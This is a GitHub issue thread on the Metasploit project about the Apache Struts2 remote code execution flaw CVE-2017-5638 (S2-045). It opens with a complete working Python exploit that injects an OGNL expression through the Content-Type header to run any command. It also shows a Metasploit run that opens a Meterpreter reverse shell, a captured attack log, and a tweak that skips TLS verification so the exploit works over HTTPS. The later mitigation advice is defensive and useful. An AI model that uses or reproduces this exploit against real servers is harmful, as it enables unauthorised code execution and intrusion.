Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2017-5638 - Apache Struts2 S2-045 #8064

Closed
nixawk opened this issue Mar 7, 2017 · 39 comments
Closed

CVE-2017-5638 - Apache Struts2 S2-045 #8064

nixawk opened this issue Mar 7, 2017 · 39 comments

Comments

@nixawk
Copy link
Contributor

nixawk commented Mar 7, 2017

Possible Remote Code Execution when performing file upload based on Jakarta Multipart parser.
...
It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.

#!/usr/bin/python
# -*- coding: utf-8 -*-

import urllib2
import httplib


def exploit(url, cmd):
    payload = "%{(#_='multipart/form-data')."
    payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
    payload += "(#_memberAccess?"
    payload += "(#_memberAccess=#dm):"
    payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
    payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
    payload += "(#ognlUtil.getExcludedPackageNames().clear())."
    payload += "(#ognlUtil.getExcludedClasses().clear())."
    payload += "(#context.setMemberAccess(#dm))))."
    payload += "(#cmd='%s')." % cmd
    payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."
    payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
    payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
    payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
    payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
    payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."
    payload += "(#ros.flush())}"

    try:
        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request).read()
    except httplib.IncompleteRead, e:
        page = e.partial

    print(page)
    return page


if __name__ == '__main__':
    import sys
    if len(sys.argv) != 3:
        print("[*] struts2_S2-045.py <url> <cmd>")
    else:
        print('[*] CVE: 2017-5638 - Apache Struts2 S2-045')
        url = sys.argv[1]
        cmd = sys.argv[2]
        print("[*] cmd: %s\n" % cmd)
        exploit(url, cmd)

Lab

  1. Please install tomcat yourself
  2. Deplay the vuln struts2 package

screen shot 2017-03-07 at 02 19 40

References

https://cwiki.apache.org/confluence/display/WW/S2-045
https://www.seebug.org/vuldb/ssvid-92746

@nixawk
Copy link
Contributor Author

nixawk commented Mar 7, 2017

I'll give a new pr later.

screen shot 2017-03-07 at 05 43 12

@cbrnrd
Copy link
Contributor

cbrnrd commented Mar 7, 2017

Could this be turned into an exploit? (cmd/unix payloads)

@nixawk
Copy link
Contributor Author

nixawk commented Mar 7, 2017

msf exploit(struts_code_exec_jakarta) > show options

Module options (exploit/multi/http/struts_code_exec_jakarta):

   Name       Current Setting     Required  Description
   ----       ---------------     --------  -----------
   Proxies                        no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOST      192.168.206.144     yes       The target address
   RPORT      8080                yes       The target port
   SSL        false               no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /struts2-showcase/  yes       The path to a struts application action
   TMPPATH                        no        Overwrite the temp path for the file upload. Needed if the home directory is not writable.
   VHOST                          no        HTTP server virtual host


Exploit target:

   Id  Name
   --  ----
   1   Linux Universal


msf exploit(struts_code_exec_jakarta) > run

[*] Started reverse TCP handler on 192.168.206.144:4444
[*] 192.168.206.144:8080 - Uploading exploit to /tmp/axs6, and executing it.
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.206.144
[*] Meterpreter session 1 opened (192.168.206.144:4444 -> 192.168.206.144:59908) at 2017-03-07 11:18:52 -0500

meterpreter > sysinfo
Computer     : sh
OS           : Linux sh 4.6.0-kali1-686-pae #1 SMP Debian 4.6.4-1kali1 (2016-07-21) (i686)
Architecture : i686
Meterpreter  : x86/linux
meterpreter >

@xtianus
Copy link

xtianus commented Mar 8, 2017

My client's site was hacked yesterday.
This was in the log:

redacted

@oli-h
Copy link

oli-h commented Mar 9, 2017

Seems to be more an OGNL issue than a Multipart parser issue

@xhavretx
Copy link

xhavretx commented Mar 9, 2017

I've try on my own server but it's doesn't works (An error 500 is displayed).
I've targeted directly IP address.

@xtianus
Copy link

xtianus commented Mar 9, 2017

@busterb it was a stacktrace cut before showing any customer-related information, just to help you out and show that the problem exists in real life. But you needed to play smart ass at my expense I guess.

@busterb
Copy link
Member

busterb commented Mar 9, 2017

@xtianus there was an internal hostname in there, or at least it looked like one to me. I wasn't trying to be a smart ass, apologies if that's how it sounded.

@xtianus
Copy link

xtianus commented Mar 9, 2017

There was none. You could have edited the hostname-lookalike instead of removing the whole thing, but that wouldn't have attracted 12 smiles I guess.

@lukaszlenart
Copy link

The sad news is that this PR was prepared before we even had a chance to inform users about the new versions and it contains PoC reported to us which means we cannot even trust reporters :(

@busterb
Copy link
Member

busterb commented Mar 9, 2017

My mistake @xtianus. I removed comment above. Here is the backtrace resurrected for reference:

WARN  o.a.s.d.m.JakartaMultiPartRequest - Unable to parse request
org.apache.commons.fileupload.FileUploadBase$InvalidContentTypeException: the request doesn't contain a multipart/form-data or multipart/mixed stream, 
content type header is %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=
(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?
{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=
(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).
(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
        at org.apache.commons.fileupload.FileUploadBase$FileItemIteratorImpl.<init>(FileUploadBase.java:947) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.commons.fileupload.FileUploadBase.getItemIterator(FileUploadBase.java:310) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.commons.fileupload.FileUploadBase.parseRequest(FileUploadBase.java:334) ~[commons-fileupload-1.3.1.jar:1.3.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parseRequest(JakartaMultiPartRequest.java:188) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.processUpload(JakartaMultiPartRequest.java:127) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest.parse(JakartaMultiPartRequest.java:92) ~[struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.multipart.MultiPartRequestWrapper.<init>(MultiPartRequestWrapper.java:84) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.Dispatcher.wrapRequest(Dispatcher.java:838) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.ng.PrepareOperations.wrapRequest(PrepareOperations.java:137) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareFilter.doFilter(StrutsPrepareFilter.java:88) [struts2-core-2.3.24.1.jar:2.3.24.1]
        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:240) [

@tsellers-r7
Copy link

@oli-h Based on my understanding the problem is that Jakarta Multiparser generates an exception when parsing the Content-Type. While raising this exception it tries to include the invalid data in the error message. Instead of displaying the invalid data it parses and executes the OGNL. So, as I understand it, the problem is the Jarkarta Multiparser and the vehicle for exploitation is OGNL.

I think this might be some of the relevant code changes in Struts - http://www.mail-archive.com/commits%40struts.apache.org/msg14591.html

@egypt
Copy link
Contributor

egypt commented Mar 10, 2017

I'm working on converting your module to be able to load a java payload instead of executing a command

@meowmixin
Copy link

Guys, careful on the 'vuln struts2 package', my anti-virus detected a trojan horse inside.

@0xspade
Copy link

0xspade commented Mar 11, 2017

sadlyf :(
sadlyf

@wvu
Copy link
Contributor

wvu commented Mar 11, 2017

@5p4d3: Did you install the module?

@0xspade
Copy link

0xspade commented Mar 11, 2017

how to install ?? i tried to update it but still it failed to load the module..

@wvu
Copy link
Contributor

wvu commented Mar 11, 2017

@5p4d3: It isn't even in the tree yet. Drop the module in ~/.msf4/modules/exploits/multi/http.

@0xspade
Copy link

0xspade commented Mar 11, 2017

still the error exists :(

@wvu
Copy link
Contributor

wvu commented Mar 11, 2017

Did you reload Metasploit? This is not the place to be asking support questions, btw. Take it to IRC, please.

@ankurloriya
Copy link

Is there any way to fix this issue rather having upgrade to 2.3.32 or 2.5.10.1?

@lukaszlenart
Copy link

The simplest way is to filter out all incoming requests with invalid ContentType

@lmehai
Copy link

lmehai commented Mar 16, 2017

If your application server is behind Apache server you can unset Content-type like this:
IfModule mod_headers.c
RequestHeader unset Content-Type
IfModule

If you application server is not behind a web server you can commented the fileUpload interceptor
by defining a custom interceptor-stack:
https://dzone.com/tutorials/java/struts-2/struts-2-tutorial/struts-2-interceptors-tutorial-1.html

This temporary solution will break upload functionalities until you upgrade struts-2

@fredondiek
Copy link

@lukaszlenart
Copy link

We have released two plugins that can help you fix this vulnerability in your Struts version (without a need to migrate) - it's safer than a custom Servlet filter as there are other attack vectors.
http://struts.apache.org/announce.html#a20170320

@nixawk
Copy link
Contributor Author

nixawk commented Mar 21, 2017

Apache Struts S2-046

https://cwiki.apache.org/confluence/display/WW/S2-046

Keep hot.

@nixawk
Copy link
Contributor Author

nixawk commented Mar 21, 2017

#8134

@lmehai
Copy link

lmehai commented Mar 25, 2017

Based on this recent qualsys blog, removing fileupload interceptor is not enough.
As long as common-fileulpoad is in the war the vulnerability could be exploited.

https://blog.qualys.com/securitylabs/2017/03/14/apache-struts-cve-2017-5638-vulnerability-and-the-qualys-solution?utm_source=marketo&utm_medium=email&utm_campaign=demand-gen&utm_term=apache-struts-q1-2017&utm_content=blog-apache-vuln-qualys-solution&

Until you upgrade to recent revision with fix do this:

If your application server is behind Apache server do:
IfModule mod_headers.c
RequestHeader unset Content-Type
RequestHeader unset Content-Disposition
RequestHeader unset Content-length
IfModule

If you application server is not behind a web server remove fileupload or use jakarta-stream:
https://cwiki.apache.org/confluence/display/WW/File+Upload#FileUpload-AlternateLibraries

@lukaszlenart
Copy link

jakarta-stream parser is also vulnerable, the attack vector is a bit different - the best option, except migrating to the latest versions, is use one of those plugins:
https://github.com/apache/struts-extras

@opjoshi
Copy link

opjoshi commented Mar 27, 2017

Hello,

Can anyone let me know if we can use Pell Parser, would it be better or secure option ?

Also, kindly let me know if any issues/vulnerabilities with exploits (Attack Vectors) available for the same.

Thanks.

@golfreeze
Copy link

seem it will upload script such as window or linux bash script then running to create process.
Just upgrade Struts 2 for fixed problem , Right ?

@Lopesy1191
Copy link

Hey, noob here, how can I run this exploit over https? I am getting an error, when testing against 2.3.32 (see below) it is requiring a certificate. My question is, how (if I can) can I pass in the certificate in-line, or is there a way to perform this using some type of insecure option?

urllib2.URLError: <urlopen error [SSL: CERTIFICATE_VERIFY_FAILED] certificate verify failed (_ssl.c:661)>

@egypt
Copy link
Contributor

egypt commented Apr 28, 2017

@Lopesy1191 The Metasploit module should work fine with TLS. Use that instead of the PoC posted here.

@yhojann-cl
Copy link

Replace by:

    try:
        ctx = ssl.create_default_context()
        ctx.check_hostname = False
        ctx.verify_mode = ssl.CERT_NONE

        headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
        request = urllib2.Request(url, headers=headers)
        page = urllib2.urlopen(request, context=ctx).read()

@nixawk
Copy link
Contributor Author

nixawk commented May 2, 2017

Thanks @WHK102

@casseusclay
Copy link

@ lukaszlenart : Are the plugins, you mentioned above compatible with much older Struts2 versions such as Struts 2.0.14 ?

@lukaszlenart
Copy link

@casseusclay nope

@hktalent
Copy link

hktalent commented Dec 4, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests